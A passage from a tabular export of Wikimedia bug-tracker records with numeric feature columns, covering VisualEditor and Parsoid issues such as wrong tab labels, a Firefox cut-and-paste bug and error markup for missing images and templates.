+https://gerrit.wikimedia.org/r/77246",,,1375395639,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232971,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","More importantly, it lets you load VE dynamically, which it shouldn't.",,,1375394378,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+232965,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",Also show on Special:Whatlinkshere (e.g. https://it.wikipedia.org/wiki/Speciale:PuntanoQui/Wikipedia ),,,1374948629,,PHID-USER-myojicphhrv5eiqtoq52,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232960,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Also shown on Special:Undelete, after the page has been restored.
+
+i.e. ""User:John Vandenberg/test has been restored"" has tabs: Read | Edit | Create source | View history",,,1374804903,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+232954,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?","Confirmed. It says ""Read | Edit | Create source | View history"".
+
+https://www.mediawiki.org/wiki/Special:MovePage/Sandbox",,,1374515509,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0
+232948,"VisualEditor: Incorrect tab text (create vs. edit) shown on Special:MovePage, Special:Undelete, others?",--> VisualEditor,,,1370441741,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-n3tckyz3ypiasbv7mmov,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+50993,VisualEditor: Formatting styles drop down menu rendered behind the page title,"On http://www.mediawiki.org/wiki/VisualEditor:Test when clicking on the drop down menu for styles, the title of the page is still visible
+
+http://i.imgur.com/O3OvK3w.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369942140,1370632871.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-3ovbcuxkngbjxrroevib,task_description,resolved,True,c1,1,False,False,True,-5,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+232546,VisualEditor: Formatting styles drop down menu rendered behind the page title,*** Bug 49430 has been marked as a duplicate of this bug. ***,,,1370970446,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ovbcuxkngbjxrroevib,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+232542,VisualEditor: Formatting styles drop down menu rendered behind the page title,Thanks for the bug report; this is now fixed in wmf6 which was released yesterday to MediaWiki.org and will be available everywhere by the end of next week.,,,1370632871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ovbcuxkngbjxrroevib,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+50974,VisualEditor: MWTemplateDialog should visually distinguish between wikitext and template name,"Screenshot while editing template with wikitext-generated target
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F11029}",Medium,50.0,1369920600,1668706778.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-caprohhe57u5cvvih5r4,task_description,duplicate,True,c1,1,True,False,False,-5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+231572,VisualEditor: MWTemplateDialog should visually distinguish between wikitext and template name,"A different icon seems somewhat undiscoverable, but not sure what better way to do this. Possibly call them ""Auto: <foo>"" rather than just ""<foo>""? Making the name italics?",,,1369926881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-caprohhe57u5cvvih5r4,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,0,1
+50960,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,"Problem 1:
+
+1. Open [[User:Ssastry]]
+2. Select Paragraph 3 completely.
+3. Ctrl-X
+4. Move to beginning of Paragraph 2.  Hit Enter.
+5. Ctrl-V on empty line
+
+The paragraph gets pasted on the same line as Paragraph 3.  
+
+Problem 2:
+
+Steps 1-3 and 5. are identical.  Step 4 is different:
+4. Move to end of Paragraph 1, hit enter key,
+
+The paragraph gets pasted *before* paragraph 1.  Additionally, on review-and-save, paragraph 1 is lost.  This is not a Parsoid issue -- the edited HTML is missing the paragraph.
+
+This problem seems specific to Firefox.  Cannot reproduce on Chrome.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369888320,1372007590.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-2qamjq3crlikvr3nahtr,task_description,resolved,True,c1,1,True,False,True,-5,,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+230654,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,This was fixed in the re-write of copy-and-paste; sorry we didn't update this bug until now.,,,1372007590,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+230651,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,Firefox 21.0,,,1370319799,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+230647,VisualEditor: Cut-Paste of paragraphs seems broken in Firefox,"(In reply to comment #0)
+> This problem seems specific to Firefox.  Cannot reproduce on Chrome.
+
+Version info always welcome, in general.",,,1369904030,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+50913,VisualEditor: Make ve.dm.Transaction chainable,"tx push
+tx push
+tx push
+tx push
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369777440,1530903558.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-lsb2vshfs5s363qn5xmf,task_description,declined,True,c1,1,True,True,False,-5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50900,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Image patch (https://gerrit.wikimedia.org/r/#/c/57817/) is missing error handling when the mw API is queried to get information about an image.
+
+Two kind of errors that handleResponse in LinkHandler.js has to deal with:
+
+(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.
+
+(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
+- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
+- Dont add a thumb.
+- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?
+
+EDIT: These properties should apply to missing templates as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369760400,1487999636.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-mmm6poefxi4xoohquyi4,task_description,resolved,True,c1,1,True,False,False,-5,,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1
+815613,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 merged by jenkins-bot:
+T50900: Set mw:Error and provide error info in data-mw for ext/tpl
+
+[[https://gerrit.wikimedia.org/r/339689]]",,,1487999288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+815429,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 had a related patch set uploaded (by Arlolra):
+T50900: Set mw:Error and provide error info in data-mw for ext/tpl
+
+[[https://gerrit.wikimedia.org/r/339689]]
+",,,1487969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509627,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #.",,,1439831900,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,111,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+343581,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,This has been deployed.,,,1418855804,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,76,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+339921,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 merged by jenkins-bot:
+T50900: Add mw:Error   error info to data-mw for missing imgs
+
+[[https://gerrit.wikimedia.org/r/170455]]",,,1418149485,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+336370,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
+T50900: Add mw:Error   error info to data-mw for missing imgs
+
+[[https://gerrit.wikimedia.org/r/170455]]
+
+#patch-for-review",,,1417716645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,74,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+226886,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs
+
+https://gerrit.wikimedia.org/r/170455",,,1414795698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+226879,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.,,,1411654695,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,64,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+226873,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51615 has been marked as a duplicate of this bug. ***,,,1374161731,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226871,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Spec in development at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling,,,1374106464,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+226868,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:
+
+{
+  key: ""missing-image"",
+  msg: ""This image did not exist""
+}
+ 
+The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.
+
+For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically.",,,1374075574,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+226863,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51535 has been marked as a duplicate of this bug. ***,,,1374074905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226859,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50290 has been marked as a duplicate of this bug. ***,,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+226852,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Another example from bug 51244 - http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720,,,1373646156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+226845,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51244 has been marked as a duplicate of this bug. ***,,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+226839,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51039 has been marked as a duplicate of this bug. ***,,,1373590970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226832,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+226827,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50035 has been marked as a duplicate of this bug. ***,,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+226822,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report localizable errors while still ensuring round-tripping.
+
+To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog.",,,1371782235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,2,True,,,-2,,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+50891,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"screenshot
+
+Example: https://www.mediawiki.org/wiki/Communication
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: http://www.mediawiki.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=extensiontags
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50284
+
+**Attached**: {F10855}",Medium,50.0,1369744440,1451432369.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_description,resolved,True,c1,1,True,False,False,-5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+585177,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid will now wrap these appropriately with the proper typeof `mw:Extension/translate` and whatnot.
+
